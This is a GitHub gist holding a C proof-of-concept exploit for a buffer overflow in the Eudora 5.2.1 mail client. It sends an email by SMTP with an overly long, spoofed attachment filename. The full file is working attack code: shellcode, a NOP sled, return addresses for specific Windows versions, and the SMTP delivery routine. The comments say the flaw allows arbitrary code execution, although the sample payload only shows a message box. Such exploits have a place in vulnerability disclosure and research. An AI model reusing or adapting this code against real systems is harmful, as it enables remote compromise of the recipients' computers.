Created
October 7, 2019 12:33
-
-
Save ykoster/33e9c7378bc229e50d8e2cff2a7462c9 to your computer and use it in GitHub Desktop.
Eudora 5.2.1 buffer overflow through overly long attachment filename - proof of concept
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Summary : Eudora 5.2.1 has a remotely exploitable buffer overflow | |
* This vulnerability can be exploited by spoofing an attachment | |
* that has an overly long filename. An overly long filename will | |
* cause ECX to be overwritten, this value is later used in EIP, | |
* thus allowing the execution of arbitrary code. | |
* Note that the filename must begin with a backslash character | |
* in order to trigger the buffer overflow. Dot characters are | |
* not needed, but will trigger the buffer overflow sooner | |
* | |
* History : May 27th, 2003 - first release by Y. Koster | |
*/ | |
#include <stdio.h> | |
#include <windows.h> | |
typedef struct _arch | |
{ | |
char *desc; // Description, i.e. Windows 3.1 | |
char *ret; // return address, this address will eventually be written EIP | |
// shellcode is preceded with NOPs, thus exact address of the | |
// shellcode is not needed | |
char *opp; // OPPCODE, for MessageBoxA, use getaddr to determine: | |
// getaddr USER32.dll MessageBoxA | |
// http://www.harmonysecurity.com/files/getaddr.zip | |
unsigned char bufsize; // Number of bytes that can be written, _before_ ECX is being | |
// overwritten, arround 220 bytes, determine using | |
// trial-and-error ;-) | |
} arch; | |
// architectures desc ret opp bufsize | |
#define ARCHS { {"Win2k dutch 5.0.2195 SP3", "\x12\xF2\xAF", "\x77\xE3\x31\xE3", 225}, \ | |
{"Win2k english 5.0.2195 SP3", "\x12\xF3\x23", "\x77\xE3\x31\xE3", 229}, \ | |
{"WinNT 4.0 english 4.0.1381 SP6", "\x12\xF3\x5A", "\x77\xE8\xB6\xA7", 223}, \ | |
{NULL, NULL, NULL, 0} } | |
/* {"Win98SE dutch 4.10.2222A", "\x8A\xAE\x8C", "\xBF\xC0\x41\x2E", 225}, \ */ | |
#define SMTP_PORT 25 // default smtp port | |
#define NOP '\x90' | |
#define SHELLCODE "\x55" /* PUSH EBP */ \ | |
"\x8B\xEC" /* MOV EBP,ESP */ \ | |
"\x33\xFF" /* XOR EDI,EDI */ \ | |
"\x57" /* PUSH EDI */ \ | |
"\xC6\x45\xFC\x42" /* MOV BYTE PTR SS:[EBP-4],42 */ \ | |
"\xC6\x45\xFD\x6F" /* MOV BYTE PTR SS:[EBP-3],6F */ \ | |
"\xC6\x45\xFE\x6F" /* MOV BYTE PTR SS:[EBP-2],6F */ \ | |
"\xBA%s" /* MOV EDX,USER32.MessageBoxA */ \ | |
"\x52" /* PUSH EDX */ \ | |
"\x57" /* PUSH EDI */ \ | |
"\x8D\x55\xFC" /* LEA EDX,DWORD PTR SS:[EBP-5] */ \ | |
"\x52" /* PUSH EDX */ \ | |
"\x52" /* PUSH EDX */ \ | |
"\x57" /* PUSH EDI */ \ | |
"\xFF\x55\xF8" /* CALL DWORD PTR SS:[EBP-8] */ | |
#define SZSHELLCODE 30 + 4 /* USER32.MessageBoxA */ + 1 /* \0 */ | |
// send data & print data | |
#define SEND send(sock, buf, strlen(buf), 0); \ | |
printf(buf) | |
// receive server response & print response | |
#define RECV buf[recv(sock, buf, sizeof(buf) - 1, 0)] = '\0'; \ | |
printf(buf) | |
// both send data & receive response | |
#define SENDRECV SEND; \ | |
RECV | |
int main(int argc, char *argv[]) | |
{ | |
arch archs[] = ARCHS; | |
unsigned int iArch; | |
char buf[1024]; // buffer for sending data & receiving response | |
char opp[5]; | |
char ret[5]; | |
char shell[SZSHELLCODE]; // buffer for storing the shellcode | |
char *attach; // buffer for storing malicious filename | |
unsigned char len; // length of malicious filename | |
unsigned char i; | |
unsigned char j; | |
// variables for setting up a TCP connection and transmintting data | |
WORD wVersionRequested; | |
WSADATA wsaData; | |
SOCKET sock; | |
struct hostent *pHostAddr; | |
struct sockaddr_in sa; | |
// check whether we have enough commandline arguments | |
// note, we won't be evaluating these arguments ;-) | |
if(argc < 4) | |
{ | |
// we do not have enough arguments | |
arch *a = archs; | |
i = 1; | |
// print help message | |
printf("Usage: %s <arch #> <victim> <smtp server>\n\n", argv[0]); | |
// list all supported architectures | |
while((*a).desc) | |
printf("\t%d -> %s\n", i++, (*a++).desc); | |
putc('\n', stdout); | |
return 1; | |
} | |
iArch = atoi(argv[1]) - 1; | |
printf("Using arch #%d: %s\n\n", iArch + 1, archs[iArch].desc); | |
// make sure all our buffers are be cleared with zeros | |
ZeroMemory(shell, SZSHELLCODE); | |
ZeroMemory(opp, sizeof(opp)); | |
ZeroMemory(ret, sizeof(ret)); | |
// switch sequence of our oppcode | |
j = 0; | |
for(i = strlen(archs[iArch].opp); i > 0; i--) | |
opp[j++] = archs[iArch].opp[i - 1]; | |
// switch sequence of our return address | |
j = 0; | |
for(i = strlen(archs[iArch].ret); i > 0; i--) | |
ret[j++] = archs[iArch].ret[i - 1]; | |
_snprintf(shell, SZSHELLCODE - 1, SHELLCODE, opp); | |
// determine size of our malicious filename en allocate memory | |
len = archs[iArch].bufsize + strlen(ret) + 1; | |
attach = (char *)malloc(sizeof(char) * len); // never free'd | |
// make sure the buffer is cleared with zeros | |
ZeroMemory(attach, len); | |
// precede our shellcode with NOPs | |
for(i = 0; i < archs[iArch].bufsize - strlen(shell); i++) | |
attach[i] = NOP; | |
// insert shellcode | |
strcat(attach, shell); | |
// add return address | |
strcat(attach, ret); | |
printf("Connecting to %s:%d", argv[3], SMTP_PORT); | |
// load WinSock and request a socket | |
wVersionRequested = MAKEWORD(2, 2); | |
if(WSAStartup(wVersionRequested, &wsaData)) | |
{ | |
printf("Could not find a WinSock DLL\n"); | |
return 1; | |
} | |
if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) | |
{ | |
printf("Winsock version is not 2.2\n"); | |
WSACleanup(); | |
return 1; | |
} | |
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); | |
if(sock == INVALID_SOCKET) | |
{ | |
printf("Could not create socket\n"); | |
WSACleanup(); | |
return 1; | |
} | |
// w00w00 we obtained a socket | |
// initialize our sockaddr_in struct | |
ZeroMemory(&sa, sizeof(sa)); | |
sa.sin_family = AF_INET; | |
sa.sin_port = htons(SMTP_PORT); // set port number | |
// lookup smtp host | |
if(!(pHostAddr = gethostbyname(argv[3]))) | |
{ | |
printf("gethostbyname error: for %s\n", argv[3]); | |
WSACleanup(); | |
return 1; | |
} | |
else | |
{ | |
// set host | |
sa.sin_addr.S_un.S_addr = *((u_long *)pHostAddr->h_addr); | |
} | |
// connect to the smtp server | |
if(connect(sock, (SOCKADDR *) &sa, sizeof (sa))) | |
{ | |
printf("Error connecting to host: %s on port %d\n", argv[3], SMTP_PORT); | |
WSACleanup(); | |
return 1; | |
} | |
printf("...done\n"); | |
printf("Sending e-mail to %s:\n", argv[2]); | |
// send out malicious e-mail to the victim | |
// note the return codes from the smtp server are never checked | |
// sending this e-mail might fail, so always check the output | |
// also note that the single CR character is sometimes converted | |
// to a CR LF, spoofing the attachment will therfore fail | |
RECV; | |
_snprintf(buf, sizeof(buf) - 1, "HELO %s\r\n", argv[3]); | |
SENDRECV; | |
_snprintf(buf, sizeof(buf) - 1, "MAIL FROM: <%s>\r\n", "[email protected]"); | |
SENDRECV; | |
_snprintf(buf, sizeof(buf) - 1, "RCPT TO: <%s>\r\n", argv[2]); | |
SENDRECV; | |
_snprintf(buf, sizeof(buf) - 1, "DATA\r\n"); | |
SENDRECV; | |
_snprintf(buf, sizeof(buf) - 1, "\nAttachment Converted\xD: \"\\%s\"\r\n", attach); | |
SEND; | |
_snprintf(buf, sizeof(buf) - 1, ".\r\nQUIT\r\n"); | |
SENDRECV; | |
// close connection with smtp server | |
closesocket(sock); | |
WSACleanup(); // at least we do some cleaning... | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment